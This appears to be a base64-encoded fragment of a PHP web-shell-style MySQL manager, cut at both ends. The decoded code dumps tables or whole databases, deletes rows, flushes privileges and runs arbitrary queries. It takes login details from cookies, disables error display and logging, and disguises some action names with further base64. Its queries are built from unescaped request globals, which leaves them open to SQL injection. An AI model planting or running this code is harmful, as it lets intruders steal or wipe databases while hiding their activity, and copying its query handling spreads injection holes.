jx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7DQoJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KDQoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KDQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoNCgkJZWNobyAiPHRyPiI7DQoJCWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD4iOw0KCQllY2hvICI8dGQ+XG4iOw0KCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5hbWV9X2Z1bmN0aW9uPlxuIjsNCgkJZWNobyAiPG9wdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+QVNDSUlcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsNCgkJZWNobyAiPG9wdGlvbj5TT1VOREVYXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUkRBVEVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5GUk9NX0RBWVNcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9VTklYVElNRVxuIjsNCgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEFTU1dPUkRcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0FERFxuIjsNCgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfRElGRlxuIjsNCgkJZWNobyAiPG9wdGlvbj5UT19EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPlVTRVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsNCgkJZWNobyAiPG9wdGlvbj5SQU5EXG4iOw0KCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCWVjaG8gIjwvdGQ+XG4iOw0KCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRkYXRhWyRpXSk7DQoJCWlmKCAkY21kID09ICJhZGQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlID09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOw0KCQkJCWVsc2UNCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+PC90ZXh0YXJlYT5cbiI7DQoJCQl9DQoJCX0gZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7DQoJCQkJZWNobyAiPHRkPlxuIjsNCgkJCQlpZiggJHR5cGUgPT0gImVudW0iICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOw0KCQkJCWVsc2UgaWYoICR0eXBlID09ICJzZXQiICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWUgc2l6ZT00IG11bHRpcGxlPlxuIjsNCgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7DQoJCQkJCWlmKCAkdmFsdWUgPT0gJHN0ciApDQoJCQkJCQllY2hvICI8b3B0aW9uIHNlbGVjdGVkPiRzdHJcbiI7DQoJCQkJCWVsc2UNCgkJCQkJCWVjaG8gIjxvcHRpb24+JHN0clxuIjsNCgkJCQkJc3RydG9rKCAiJyIgKTsNCgkJCQl9DQoJCQkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQkJCWVjaG8gIjwvdGQ+XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiggJGxlbiA8IDQwICkNCgkJCQkJZWNobyAiPHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWUgdmFsdWU9XCIkdmFsdWVcIj48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPiR2YWx1ZTwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9DQoJCWVjaG8gIjwvdHI+IjsNCgl9DQoJZWNobyAiPC90YWJsZT48cD5cbiI7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBEYXRhJz5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0VkaXQgRGF0YSc+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nQ2FuY2VsJyBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KDQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciAsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJdmlld0RhdGEoICIiICk7DQp9DQoNCmZ1bmN0aW9uIGRlbGV0ZURhdGEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCgkka2V5ID0gIiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkNCgkJCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCWVsc2UNCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAuICI9JyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIicgQU5EICI7DQoJfQ0KCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCSRxdWVyeVN0ciA9ICAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IjsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KDQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkkcXVlcnlfaWQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSR0YWJsZWR1bXAgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX0FTU09DKTsNCgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJsZTtcbiIgLiAkdGFibGVkdW1wWydDcmVhdGUgVGFibGUnXSAuICI7XG5cbiI7DQoNCgllY2hvICR0YWJsZWR1bXA7DQoNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KDQoJCSRmaWVsZGNvdW50ZXIgPSAtMTsNCgkJJGZpcnN0ZmllbGQgPSAxOw0KCQkvLyBnZXQgZWFjaCBmaWVsZCdzIGRhdGENCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlciA8ICRudW1maWVsZHMpDQoJCXsNCgkJCWlmICghJGZpcnN0ZmllbGQpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnLCAnOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSRmaXJzdGZpZWxkID0gMDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyIkZmllbGRjb3VudGVyIl0pKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJ05VTEwnOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyIkZmllbGRjb3VudGVyIl0pIC4gIiciOw0KCQkJfQ0KCQl9DQoNCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoNCgkJZWNobyAkdGFibGVkdW1wOw0KDQoJfQ0KCUBteXNxbF9mcmVlX3Jlc3VsdCgkcm93cyk7DQp9DQoNCmZ1bmN0aW9uIGR1bXAoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGFjdGlvbiwgJGRibmFtZSwgJHRhYmxlbmFtZTsNCg0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kdGFibGVuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZW5hbWUpOw0KCQllY2hvICJcblxuXG4iOw0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJHRhYmxlbmFtZSBUQUJMRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KDQoJfWVsc2V7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JGRibmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KDQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KDQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHV0aWxzKCkgew0KCWdsb2JhbCAkUEhQX1NFTEYsICRjb21tYW5kOw0KCWVjaG8gIjxoMT5VdGlsaXRpZXM8L2gxPlxuIjsNCglpZiggJGNvbW1hbmQgPT0gIiIgfHwgc3Vic3RyKCAkY29tbWFuZCwgMCwgNSApID09ICJmbHVzaCIgKSB7DQoJCWVjaG8gIjxocj5cbiI7DQoJCWVjaG8gIlNob3dcbiI7DQoJCWVjaG8gIjx1bD5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd192YXJpYWJsZXMnPlZhcmlhYmxlczwvYT5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19wcm9jZXNzbGlzdCc+UHJvY2Vzc2xpc3Q8L2E+XG4iOw0KCQllY2hvICI8L3VsPlxuIjsNCgkJZWNobyAiRmx1c2hcbiI7DQoJCWVjaG8gIjx1bD5cbiI7DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9ob3N0cyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCBob3N0cyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfbG9ncyc+TG9nczwvYT5cbiI7DQoJCWlmKCAkY29tbWFuZCA9PSAiZmx1c2hfbG9ncyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9wcml2aWxlZ2VzJz5Qcml2aWxlZ2VzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHByaXZpbGVnZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFibGVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF90YWJsZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggdGFibGVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9zdGF0dXMnPlN0YXR1czwvYT5cbiI7DQoJCWlmKCAkY29tbWFuZCA9PSAiZmx1c2hfc3RhdHVzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjwvdWw+XG4iOw0KCX0gZWxzZSB7DQoJCSRxdWVyeVN0ciA9IGVyZWdfcmVwbGFjZSggIl8iLCAiICIsICRjb21tYW5kICk7DQoJCSRwUmVzdWx0ID0gbXlzcWxfcXVlcnkoICRxdWVyeVN0ciApOw0KCQlpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7DQoJCQllY2hvICJGYWlsIjsNCgkJCXJldHVybjsNCgkJfQ0KCQkkY29sID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KDQoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOw0KCQllY2hvICI8dHI+XG4iOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkY29sOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJZWNobyAiPHRoPiIuJGZpZWxkLT5uYW1lLiI8L3RoPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RyPlxuIjsNCg0KCQl3aGlsZSggMSApIHsNCgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1bHQgKTsNCgkJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJCWVjaG8gIjx0cj5cbiI7DQoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkNCgkJCQllY2hvICI8dGQ+Ii5odG1sc3BlY2lhbGNoYXJzKCAkcm93QXJyYXlbJGpdICkuIjwvdGQ+XG4iOw0KCQkJZWNobyAiPC90cj5cbiI7DQoJCX0NCgkJZWNobyAiPC90YWJsZT5cbiI7DQoJfQ0KfQ0KDQoNCg0KZnVuY3Rpb24gZm9vdGVyX2h0bWwoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7DQoNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIlskVVNFUk5BTUVdIC0gXG4iOw0KDQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPkRhdGFiYXNlIExpc3Q8L2E+IHwgXG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7DQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyc+VXRpbHM8L2E+IHxcbiI7DQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvdXQnPkxvZ291dDwvYT5cbiI7DQoNCg0KfQ0KDQoNCg0KDQovLy0tLS0tLS0tLS0tLS0gTUFJTiAtLS0tLS0tLS0tLS0tIC8vDQplcnJvcl9yZXBvcnRpbmcoMCk7DQppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCmluaV9zZXQgKCdsb2dfZXJyb3JzJywgMCk7DQoNCmlmKCAkYWN0aW9uID09ICJsb2dvbiIgfHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9uID09ICJsb2dvdXQiICkNCglsb2dvbigpOw0KZWxzZSBpZiggJGFjdGlvbiA9PSAiYkc5bmIyNWZjM1ZpYldsMCIgKQ0KCWxvZ29uX3N1Ym1pdCgpOw0KZWxzZSBpZiggJGFjdGlvbiA9PSAiZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09ICJkdW1wREIiICkgew0KCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1ZSkgPSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JEID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsNCgl9DQoJJG15c3FsSGFuZGxlID0gQG15c3FsX2Nvbm5lY3QoICRIT1NUTkFNRS4iOjMzMDYiLCAkVVNFUk5BTUUsICRQQVNTV09SRCApOw0KCWR1bXAoKTsNCn0gZWxzZSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgllY2hvICI8IS0tIjsNCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZWNobyAiLS0+IjsNCg0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoNCg0KCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCQllY2hvICI8aDE+V3JvbmcgUGFzc3dvcmQhPC9oMT5cbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb24nPkxvZ29uPC9hPlxuIjsNCgkJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KDQoJfSBlbHNlIHsNCg0KCQlpZiggJGFjdGlvbiA9PSAiYkdsemRFUkNjdz09IiApDQoJCQlsaXN0RGF0YWJhc2VzKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImNyZWF0ZURCIiApDQoJCQljcmVhdGVEYXRhYmFzZSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wREIiICkNCgkJCWRyb3BEYXRhYmFzZSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJsaXN0VGFibGVzIiApDQoJCQlsaXN0VGFibGVzKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImNyZWF0ZVRhYmxlIiApDQoJCQljcmVhdGVUYWJsZSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUiICkNCgkJCWRyb3BUYWJsZSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJ2aWV3U2NoZW1hIiApDQoJCQl2aWV3U2NoZW1hKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInF1ZXJ5IiApDQoJCQl2aWV3RGF0YSggJHF1ZXJ5U3RyICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApDQoJCQltYW5hZ2VGaWVsZCggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRmllbGRfc3VibWl0IiApDQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApDQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wRmllbGQiICkNCgkJCWRyb3BGaWVsZCgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iICkNCgkJCXZpZXdEYXRhKCAiIiApOw0KCQl